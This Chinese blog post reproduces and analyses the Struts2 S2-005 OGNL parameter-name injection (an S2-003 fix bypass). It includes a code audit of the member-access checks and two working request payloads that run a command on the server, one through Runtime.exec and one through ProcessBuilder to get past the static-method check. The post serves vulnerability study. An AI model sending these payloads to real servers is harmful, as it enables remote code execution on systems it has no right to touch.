『Java安全』Struts2 2.1.8.1 参数名OGNL注入漏洞S2-005(S2-003修复绕过)复现与浅析

漏洞简介

S2-005是S2-003的绕过,xwork更新到2.1.6版本;005新增了SecurityMamberAccess功能,但是可以被绕过

影响范围

Struts 2.0.0 - 2.1.8.1

漏洞复现

环境配置

https://archive.apache.org/dist/struts/library/struts-2.1.8.1-lib.zip

保留以下jar包

在这里插入图片描述
写一个action

在这里插入图片描述
web.xml需要配置

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

环境起不来可以看之前我写的笔记

复现过程

向任意action发送请求payload即可

?("\u0023_memberAccess.allowStaticMethodAccess\u003dtrue")(aaa)(aaa)&("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(aaa)(aaa)&("\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET")(aaa)(aaa)&("\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET")(aaa)(aaa)&("\u0023return\u003d@java.lang.Runtime@getRuntime().exec('calc')")(aaa)(aaa)

在这里插入图片描述

代码审计

新增参数的黑白名单

在这里插入图片描述
具体实现是向OgnlValueStack.securityMemberAccess操作:该对象有一个allowStaticMethodAccess参数,用于开启是否调用静态方法,默认不允许

允许根据一个成员是否是静态的来做出访问决定。也阻止或允许对属性的访问。

在这里插入图片描述
如果OgnlValueStack是root,该参数就会被传入context

在这里插入图片描述
这里调用Ognl.createDefaultContext()创建默认上下文,securityMemberAccess起了别名_memberAccess

在这里插入图片描述
之后调用Ognl.setMemberAccess()设置传入的_memberAccess,因此要有set方法
在这里插入图片描述
在这里插入图片描述
SecurityMemberAccess.isAccessible()用于判断是否允许方法被调用

在这里插入图片描述
isAcceptableProperty()判断黑白名单,要求在白名单且不在黑名单

在这里插入图片描述
但是只要黑白名单都为空就能返回false

在这里插入图片描述

流程

  • 开启_memberAccess.allowStaticMethodAccess
  • 关闭context[“xwork.MethodAccessor.denyMethodExecution”]
  • _memberAccess.acceptProperties和excludeProperties设置为空
  • 调用Runtime.exec()

在这里插入图片描述

开发者的疏忽——再次绕过:通杀利用

通过分析可以发现:该功能一直在防御静态方法调用,却忽略了动态的情况

因此只要new ProcessBuilder().start()完全可以绕过以上防御措施

?(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(aaa)(aaa)&(new java.lang.ProcessBuilder(new java.lang.String[]{'calc'}).start())(aaa)(aaa)

因此官方把S2-003和005的影响范围都定为了2.1.8.1,凭借此payload实现了通杀

修复

下一个版本2.2.1对传入参数进行白名单限制,缓解方法是添加拦截器

在这里插入图片描述
但是新版本仍然可以被绕过

参考

https://cwiki.apache.org/confluence/display/WW/S2-005
https://su18.org/post/struts2-1/#s2-005

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126490087
版权声明:本文为原创,转载时须注明出处及本声明

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值